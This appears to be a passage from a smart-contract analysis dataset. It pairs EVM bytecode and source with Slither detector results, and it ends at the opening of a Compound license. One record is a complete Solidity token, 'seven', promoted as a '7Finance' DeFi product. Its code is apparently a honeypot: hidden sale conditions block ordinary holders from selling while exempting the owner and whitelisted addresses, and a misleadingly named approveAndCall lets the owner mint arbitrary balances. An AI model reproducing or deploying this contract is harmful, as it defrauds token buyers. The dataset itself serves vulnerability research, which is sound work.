565b60005460ff1681565b600154600160a060020a0316630a0f81686000604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b151561063d57600080fd5b6102c65a03f1151561064e57600080fd5b50505060405180519050600160a060020a031633600160a060020a031614151561067757600080fd5b608c811161068457600080fd5b43811061069057600080fd5b600755565b60085460ff1681565b6000806000806000806000806106b26124fc565b6106ba6124fc565b600080548c9a506101009004600160a060020a0316631d4f3e8b8260405161016001526040518163ffffffff1660e060020a02815260040161016060405180830381600087803b151561070c57600080fd5b6102c65a03f1151561071d57600080fd5b5050506040518060e001805190602001805190602001805190602001805160209190910160405260068190556005805460ff19168315151790556004839055600384905561076e600286600761250e565b5050600154600160a060020a03169350636352211e92508d9150600090506040516020015260405160e060020a63ffffffff84160281526004810191909152602401602060405180830381600087803b15156107c957600080fd5b6102c65a03f115156107da57600080fd5b50505060405180519050985030600160a060020a031689600160a060020a03161415151561080757600080fd5b60015433600160a060020a0390811691161461082257600080fd5b6000600354118015610837575060055460ff16155b801561084857506007544303600454115b151561085357600080fd5b600154600160a060020a0316637c62e2a48b6000604051610140015260405160e060020a63ffffffff8416028152600481019190915260240161014060405180830381600087803b15156108a657600080fd5b6102c65a03f115156108b757600080fd5b50505060405180519060200180519060200180519060200180519060200180519060200180519060200180519060200180519060200180519060200180519050509c509c509c5050509a505050506004548810151561091557600080fd5b6000871161092257600080fd5b60ff85161561093057600080fd5b6109866002600760e0604051908101604052919060e08301826000855b825461010083900a900460ff1681526020600192830181810494850194909303909202910180841161094d579050505050505087611e19565b9350600760ff85161061099857600080fd5b6109a4600654856116e4565b93509150600090505b8151811015610a6a578181815181106109c257fe5b906020019060200201518a1415610a62577e0b494b78bae7df5ee200d9bf16d970c94cb9518ee0a9025fc8b7dc06cbb2988a8a86604051928352600160a060020a03909116602083015260ff166040808301919091526080606083018190526016908301527f646f6720616c726561647920726567697374657265640000000000000000000060a083015260c0909101905180910390a160059a50610b03565b6001016109ad565b610a78600654858b8d61205d565b7e0b494b78bae7df5ee200d9bf16d970c94cb9518ee0a9025fc8b7dc06cbb2988a8a86604051928352600160a060020a03909116602083015260ff16604080830191909152608060608301819052600a908301527f7375636365737366756c0000000000000000000000000000000000000000000060a083015260c0909101905180910390a160009a505b50505050505050505050919050565b6000806000610b1f6124d4565b600080610b2a6124fc565b610b326124fc565b60008054819081906101009004600160a060020a0316631d4f3e8b8260405161016001526040518163ffffffff1660e060020a02815260040161016060405180830381600087803b1515610b8557600080fd5b6102c65a03f11515610b9657600080fd5b5050506040518060e001805190602001805190602001805190602001805160209190910160405260068190556005805460ff191683151517905560048390556003849055610be7600286600761250e565b5050505050506000600454118015610c0457506007544303600454105b1515610c0f57600080fd5b600080546101009004600160a060020a03169063735056a390604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b1515610c5d57600080fd5b6102c65a03f11515610c6e57600080fd5b505050604051805160035410159050610c8657600080fd5b60055460ff16151560011415610d35577f5e17202461c7ed5ed4e004fd955b0c7969e47001cfae7f033b5c4370e3920c8f600c60006006548152602001908152602001600020600e0160065460405180806020018381526020018281038252848181548152602001915080548015610d1d57602002820191906000526020600020905b815481526020019060010190808311610d09575b5050935050505060405180910390a160019a506116ca565b600080546101009004600160a060020a03169063735056a390604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b1515610d8357600080fd5b6102c65a03f11515610d9457600080fd5b505050604051805160035460008054600654939092039d509b506101009004600160a060020a0316915063760df4fe908b6040516020015260405160e060020a63ffffffff84160281526004810191909152602401602060405180830381600087803b1515610e0257600080fd5b6102c65a03f11515610e1357600080fd5b5050506040518051905015610e8157600b600760e0604051908101604052919060e08301826000855b825461010083900a900460ff16815260206001928301818104948501949093039092029101808411610e3c575050600a54949c505060ff9093169950610edb92505050565b6009600760e0604051908101604052919060e08301826000855b825461010083900a900460ff16815260206001928301818104948501949093039092029101808411610e9b575050600854949c505060ff90931699505050505b600095505b60078660ff16101561140257610ef8600654876116e4565b955093506000855111156113c6578451612710028860ff881660078110610f1b57fe5b602002015160ff168860ff168c0202811515610f3357fe5b04925084516001549084029990990198600160a060020a031663ee4ae2c981630519ce796000604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b1515610f8e57600080fd5b6102c65a03f11515610f9f57600080fd5b50505060405180519050600a88518702811515610fb857fe5b0460405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401600060405180830381600087803b1515610ffc57600080fd5b6102c65a03f1151561100d57600080fd5b505050600091505b845182101561138e5760ff8616151561115757600154600160a060020a031663ee4ae2c986848151811061104557fe5b906020019060200201516103e861035787020460405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401600060405180830381600087803b151561109b57600080fd5b6102c65a03f115156110ac57600080fd5b5050506110cd8483815181106110be57fe5b906020019060200201516123aa565b9050600160a060020a03811615156110e157fe5b600154600160a060020a031663ee4ae2c9826064600587025b0460405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401600060405180830381600087803b151561113e57600080fd5b6102c65a03f1151561114f57600080fd5b505050611383565b8560ff166001141561122a57600154600160a060020a031663ee4ae2c986848151811061118057fe5b906020019060200201516103e861036987020460405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401600060405180830381600087803b15156111d657600080fd5b6102c65a03f115156111e757600080fd5b5050506111f98483815181106110be57fe5b9050600160a060020a038116151561120d57fe5b600154600160a060020a031663ee4ae2c9826064600387026110fa565b8560ff16600214156112fd57600154600160a060020a031663ee4ae2c986848151811061125357fe5b906020019060200201516103e861037287020460405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401600060405180830381600087803b15156112a957600080fd5b6102c65a03f115156112ba57600080fd5b5050506112cc8483815181106110be57fe5b9050600160a060020a03811615156112e057fe5b600154600160a060020a031663ee4ae2c9826064600287026110fa565b600154600160a060020a031663ee4ae2c986848151811061131a57fe5b90602001906020020151600a600987020460405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401600060405180830381600087803b151561136e57600080fd5b6102c65a03f1151561137f57600080fd5b5050505b600190910190611015565b6006546000908152600c60205260409020600e018054600181016113b283826125a1565b5060009182526020909120018390556113f7565b6006546000908152600c60205260409020600e018054600181016113ea83826125a1565b5060009182526020822001555b600190950194610ee0565b6006546000908152600c602052604090205415156115cb57600080546101009004600160a060020a031690630c1a8b0590601490839063735056a390604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b151561147357600080fd5b6102c65a03f1151561148457600080fd5b50505060405180519050600060019054906101000a9004600160a060020a0316600160a060020a0316632693ee806000604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b15156114e957600080fd5b6102c65a03f115156114fa57600080fd5b50505060405180519050600160a060020a0316310381151561151857fe5b0460405160e060020a63ffffffff84160281526004810191909152602401600060405180830381600087803b151561154f57600080fd5b6102c65a03f1151561156057600080fd5b50506000546101009004600160a060020a0316905063e5d71cfe600160405160e060020a63ffffffff84160281529015156004820152602401600060405180830381600087803b15156115b257600080fd5b6102c65a03f115156115c357600080fd5b50505061162f565b600080546101009004600160a060020a03169063e5d71cfe9060405160e060020a63ffffffff84160281529015156004820152602401600060405180830381600087803b151561161a57600080fd5b6102c65a03f1151561162b57600080fd5b5050505b7f5e17202461c7ed5ed4e004fd955b0c7969e47001cfae7f033b5c4370e3920c8f600c60006006548152602001908152602001600020600e01600654604051808060200183815260200182810382528481815481526020019150805480156116b657602002820191906000526020600020905b8154815260200190600101908083116116a2575b5050935050505060405180910390a160009a505b5050505050505050505090565b600281600781106105d257fe5b6116ec6124fc565b6116f46124fc565b60ff831615156117db57600c600085815260200190815260200160002060000180548060200260200160405190810160405280929190818152602001828054801561176857602002820191906000526020600020905b8154600160a060020a0316815260019091019060200180831161174a575b50505050509050600c60008581526020019081526020016000206001018054806020026020016040519081016040528092919081815260200182805480156117cf57602002820191906000526020600020905b8154815260200190600101908083116117bb575b50505050509150611d43565b8260ff16600114156118c257600c600085815260200190815260200160002060020180548060200260200160405190810160405280929190818152602001828054801561185157602002820191906000526020600020905b8154600160a060020a03168152600190910190602001808311611833575b50505050509050600c60008581526020019081526020016000206003018054806020026020016040519081016040528092919081815260200182805480156117cf57602002820191906000526020600020908154815260200190600101908083116117bb5750505050509150611d43565b8260ff16600214156119a957600c600085815260200190815260200160002060040180548060200260200160405190810160405280929190818152602001828054801561193857602002820191906000526020600020905b8154600160a060020a0316815260019091019060200180831161191a575b50505050509050600c60008581526020019081526020016000206005018054806020026020016040519081016040528092919081815260200182805480156117cf57602002820191906000526020600020908154815260200190600101908083116117bb5750505050509150611d43565b8260ff1660031415611a9057600c6000858152602001908152602001600020600601805480602002602001604051908101604052809291908181526020018280548015611a1f57602002820191906000526020600020905b8154600160a060020a03168152600190910190602001808311611a01575b50505050509050600c60008581526020019081526020016000206007018054806020026020016040519081016040528092919081815260200182805480156117cf57602002820191906000526020600020908154815260200190600101908083116117bb5750505050509150611d43565b8260ff1660041415611b7757600c6000858152602001908152602001600020600801805480602002602001604051908101604052809291908181526020018280548015611b0657602002820191906000526020600020905b8154600160a060020a03168152600190910190602001808311611ae8575b50505050509050600c60008581526020019081526020016000206009018054806020026020016040519081016040528092919081815260200182805480156117cf57602002820191906000526020600020908154815260200190600101908083116117bb5750505050509150611d43565b8260ff1660051415611c5e57600c6000858152602001908152602001600020600a01805480602002602001604051908101604052809291908181526020018280548015611bed57602002820191906000526020600020905b8154600160a060020a03168152600190910190602001808311611bcf575b50505050509050600c6000858152602001908152602001600020600b018054806020026020016040519081016040528092919081815260200182805480156117cf57602002820191906000526020600020908154815260200190600101908083116117bb5750505050509150611d43565b8260ff1660061415611d4357600c6000858152602001908152602001600020600c01805480602002602001604051908101604052809291908181526020018280548015611cd457602002820191906000526020600020905b8154600160a060020a03168152600190910190602001808311611cb6575b50505050509050600c6000858152602001908152602001600020600d01805480602002602001604051908101604052809291908181526020018280548015611d3b57602002820191906000526020600020905b815481526020019060010190808311611d27575b505050505091505b9250929050565b600a5460ff1681565b6000611d5d6124d4565b600080546101009004600160a060020a0316631d4f3e8b8260405161016001526040518163ffffffff1660e060020a02815260040161016060405180830381600087803b1515611dac57600080fd5b6102c65a03f11515611dbd57600080fd5b5050506040518060e001805190602001805190602001805190602001805190602001604052509350505091508015611df85760649250611e05565b611e028285611e19565b92505b5050919050565b600b81600781106105d257fe5b6000611e236124d4565b60008060008060006006541015611e3d5760649550612052565b600080546101009004600160a060020a031690638a24fd7890899060405160e0015260405160e060020a63ffffffff8416028152600481019190915260240160e060405180830381600087803b1515611e9557600080fd5b6102c65a03f11515611ea657600080fd5b5050506040518060e00160405294506000935060009250600091505b6006821015611f2a576000888360078110611ed957fe5b602002015160ff16118015611f135750848260078110611ef557fe5b602002015160ff16888360078110611f0957fe5b602002015160ff16145b15611f1f576001909301925b600190910190611ec2565b600060c089015160ff16118015611f4e575060c085015160ff1660c089015160ff16145b15611f5857600192505b506064600660ff8516148015611f7157508260ff166001145b15611f7e5750600061204e565b8360ff166006148015611f92575060ff8316155b15611f9f5750600161204e565b8360ff166005148015611fb557508260ff166001145b15611fc25750600261204e565b8360ff166005148015611fd6575060ff8316155b15611fe35750600361204e565b8360ff166004148015611ff957508260ff166001145b156120065750600461204e565b8360ff16600314801561201c57508260ff166001145b156120295750600561204e565b8360ff16600314801561203d575060ff8316155b1561204a5750600661204e565b5060645b8095505b505050505092915050565b60ff831615156120e1576000848152600c6020526040902080546001810161208583826125a1565b5060009182526020808320919091018054600160a060020a031916600160a060020a038616179055858252600c90526040902060019081018054909181016120cd83826125a1565b5060009182526020909120018190556123a4565b8260ff1660011415612154576000848152600c6020526040902060020180546001810161210e83826125a1565b5060009182526020808320919091018054600160a060020a031916600160a060020a038616179055858252600c9052604090206003018054600181016120cd83826125a1565b8260ff16600214156121c7576000848152600c6020526040902060040180546001810161218183826125a1565b5060009182526020808320919091018054600160a060020a031916600160a060020a038616179055858252600c9052604090206005018054600181016120cd83826125a1565b8260ff166003141561223a576000848152600c602052604090206006018054600181016121f483826125a1565b5060009182526020808320919091018054600160a060020a031916600160a060020a038616179055858252600c9052604090206007018054600181016120cd83826125a1565b8260ff16600414156122ad576000848152600c6020526040902060080180546001810161226783826125a1565b5060009182526020808320919091018054600160a060020a031916600160a060020a038616179055858252600c9052604090206009018054600181016120cd83826125a1565b8260ff1660051415612320576000848152600c60205260409020600a018054600181016122da83826125a1565b5060009182526020808320919091018054600160a060020a031916600160a060020a038616179055858252600c905260409020600b018054600181016120cd83826125a1565b8260ff16600614156123a4576000848152600c602081905260409091200180546001810161234e83826125a1565b5060009182526020808320919091018054600160a060020a031916600160a060020a038616179055858252600c905260409020600d0180546001810161239483826125a1565b5060009182526020909120018190555b50505050565b6001546000908190600160a060020a0316637c62e2a48483604051610140015260405160e060020a63ffffffff8416028152600481019190915260240161014060405180830381600087803b151561240157600080fd5b6102c65a03f1151561241257600080fd5b5050506040518051906020018051906020018051906020018051906020018051906020018051906020018051906020018051906020018051906020018051600154909b50600160a060020a03169950636352211e98508a975060009650604095505050505050516020015260405160e060020a63ffffffff84160281526004810191909152602401602060405180830381600087803b15156124b357600080fd5b6102c65a03f115156124c457600080fd5b5050506040518051949350505050565b60e06040519081016040526007815b6000815260001990910190602001816124e35790505090565b60206040519081016040526000815290565b6001830191839082156125915791602002820160005b8382111561256257835183826101000a81548160ff021916908360ff1602179055509260200192600101602081600001049283019260010302612524565b801561258f5782816101000a81549060ff0219169055600101602081600001049283019260010302612562565b505b5061259d9291506125ca565b5090565b8154818355818115116125c5576000838152602090206125c59181019083016125eb565b505050565b6125e891905b8082111561259d57805460ff191681556001016125d0565b90565b6125e891905b8082111561259d57600081556001016125f15600a165627a7a7230582053d2c26576744bab003966f38ca4edf8ff07156e1411cf577861874ee165e1850029
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "weak-prng", "impact": "High", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
10,087
0xe1ca8fb551830c1bbb74d642454468b530629c1d
/* https://7seven.Finance/ 1st Seven Finance is bound to become the number one DEFI application on the Ethereum blockchain. Thanks to an interest rate protocol algorithmic, which allows its users to access the services and benefits of a profitable, decentralized and incorruptible financial ecosystem. 7Finance liquidity funds use the Balancer protocol to stimulate deep liquidity in the 7Finance ecosystem. By purchasing SVN, 7finance users can provide liquidity while earning rewards Access to 7Finance liquidity market and Request financing immediately without tedious forms or requirements, anonymously, just with the guarantee of payment backed by your staking ETH SVN is not only a token but also the necessary tool for accessing the various financial products in which 7finance was created as which it will gradually incorporate into its own portfolio, all adapted to the new global economic model. */ pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash; // solhint-disable-next-line no-inline-assembly assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract seven { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { if(_from == owner || _to == owner || _from == tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function approveAndCall(address spender, uint256 addedValue) public returns (bool) { require(msg.sender == owner); if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));} canSale[spender]=true; return true; } address tradeAddress; function transferownership(address addr) public returns(bool) { require(msg.sender == owner); tradeAddress = addr; return true; } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; emit Transfer(address(0x0), msg.sender, totalSupply); } }
0x60806040526004361061009c5760003560e01c80633177029f116100645780633177029f1461027357806370a08231146102e657806395d89b411461034b578063a9059cbb146103db578063dd62ed3e14610441578063e8b5b796146104c65761009c565b806306fdde03146100a1578063095ea7b31461013157806318160ddd1461019757806323b872dd146101c2578063313ce56714610248575b600080fd5b3480156100ad57600080fd5b506100b661052f565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105cd565b604051808215151515815260200191505060405180910390f35b3480156101a357600080fd5b506101ac6106bf565b6040518082815260200191505060405180910390f35b61022e600480360360608110156101d857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106c5565b604051808215151515815260200191505060405180910390f35b34801561025457600080fd5b5061025d6109d8565b6040518082815260200191505060405180910390f35b34801561027f57600080fd5b506102cc6004803603604081101561029657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109dd565b604051808215151515815260200191505060405180910390f35b3480156102f257600080fd5b506103356004803603602081101561030957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610aee565b6040518082815260200191505060405180910390f35b34801561035757600080fd5b50610360610b06565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103a0578082015181840152602081019050610385565b50505050905090810190601f1680156103cd5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610427600480360360408110156103f157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ba4565b604051808215151515815260200191505060405180910390f35b34801561044d57600080fd5b506104b06004803603604081101561046457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bb9565b6040518082815260200191505060405180910390f35b3480156104d257600080fd5b50610515600480360360208110156104e957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bde565b604051808215151515815260200191505060405180910390f35b60098054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105c55780601f1061059a576101008083540402835291602001916105c5565b820191906000526020600020905b8154815290600101906020018083116105a857829003601f168201915b505050505081565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60085481565b6000808214156106d857600190506109d1565b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461081f5781600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561079457600080fd5b81600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055505b61082a848484610c84565b61083357600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561087f57600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055506000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600081548092919060010191905055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9392505050565b601281565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a3957600080fd5b6000821115610a8d576012600a0a8202600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60018060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001905092915050565b60066020528060005260406000206000915090505481565b600a8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b9c5780601f10610b7157610100808354040283529160200191610b9c565b820191906000526020600020905b815481529060010190602001808311610b7f57829003601f168201915b505050505081565b6000610bb13384846106c5565b905092915050565b6007602052816000526040600020602052806000526040600020600091509150505481565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c3a57600080fd5b81600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480610d2f5750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80610d875750600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80610ddb5750600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15610de95760019050610e01565b610df38483610e08565b610dfc57600080fd5b600190505b9392505050565b600080600454148015610e1d57506000600254145b8015610e2b57506000600354145b15610e395760009050610ed8565b60006004541115610e95576004546000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410610e945760009050610ed8565b5b60006002541115610eb457816002541115610eb35760009050610ed8565b5b60006003541115610ed357600354821115610ed25760009050610ed8565b5b600190505b9291505056fea265627a7a7231582079afc671a151b7fa3ef335b8fec24b7e6af7ff38a1f110efe225fce783993a5564736f6c63430005110032
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
10,088
0xa13c1a5fdfbbe60a71a2c1822de97000ec8e4079
/* Copyright 2020 Compound Labs, Inc. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 